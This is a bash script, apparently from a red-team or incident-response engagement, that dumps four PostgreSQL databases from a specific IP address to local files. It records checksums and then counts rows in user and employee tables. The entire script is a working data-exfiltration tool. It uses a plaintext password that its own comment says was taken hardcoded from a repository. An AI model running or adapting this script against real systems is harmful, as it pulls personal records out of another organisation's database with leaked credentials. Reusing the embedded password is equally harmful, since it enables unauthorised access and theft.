#!/bin/bash
# L7 UAT PG exfil: dump akames, morning_live, dace, morning from 14.225.11.28:5432
# read-only pg_dump --no-owner --no-privileges. creds noti/nOTI@2025@# (repo-hardcoded, validated)
set -u
export PGPASSWORD='nOTI@2025@#'
H=14.225.11.28
P=5432
U=noti
PGDUMP=/usr/lib/postgresql/18/bin/pg_dump
TS=$(date -u +%Y%m%dT%H%M%SZ)
OUT=/root/ir-assessment/redteam/gitlab_vdss_com_vn/exfil
MANIFEST=$OUT/MANIFEST_UAT_${TS}.txt
SHA=$OUT/SHA256SUMS_UAT_${TS}.txt
ERR=$OUT/errors_UAT_${TS}.log
: > "$ERR"
echo "# L7 UAT PG exfil manifest $TS (host $H:$P user $U)" > "$MANIFEST"

for DB in akames morning_live dace morning; do
  F=$OUT/${DB}_uat_${TS}.sql
  echo "[*] dumping $DB -> $F"
  timeout 900 "$PGDUMP" -h $H -p $P -U $U -d $DB --no-owner --no-privileges -f "$F" 2>>"$ERR"
  RC=$?
  SZ=$(stat -c%s "$F" 2>/dev/null || echo 0)
  echo "$DB|rc=$RC|size=$SZ|file=$F" | tee -a "$MANIFEST"
  if [ $RC -ne 0 ]; then
    echo "  dump FAILED rc=$RC for $DB" | tee -a "$ERR"
  fi
done

echo
echo "[*] sha256sums"
cd "$OUT" && sha256sum *_uat_${TS}.sql | tee "$SHA"
echo
echo "[*] row-count spot checks vs census"
export PGPASSWORD='nOTI@2025@#'
echo "live akames.auth.user_info: $(timeout 20 psql -h $H -p $P -U $U -d akames -tA -c 'SELECT count(*) FROM auth.user_info;' 2>&1)"
grep -c "COPY auth.user_info" "$OUT/akames_uat_${TS}.sql" 2>/dev/null | sed 's/^/dump COPY auth.user_info blocks: /'
echo "live akames.master.employee: $(timeout 20 psql -h $H -p $P -U $U -d akames -tA -c 'SELECT count(*) FROM master.employee;' 2>&1)"
echo "live morning_live.users: $(timeout 20 psql -h $H -p $P -U $U -d morning_live -tA -c 'SELECT count(*) FROM public.users;' 2>&1)"
echo "live dace.users: $(timeout 20 psql -h $H -p $P -U $U -d dace -tA -c 'SELECT count(*) FROM public.users;' 2>&1)"
echo "live morning.users: $(timeout 20 psql -h $H -p $P -U $U -d morning -tA -c 'SELECT count(*) FROM public.users;' 2>&1)"
echo
echo "TS=$TS"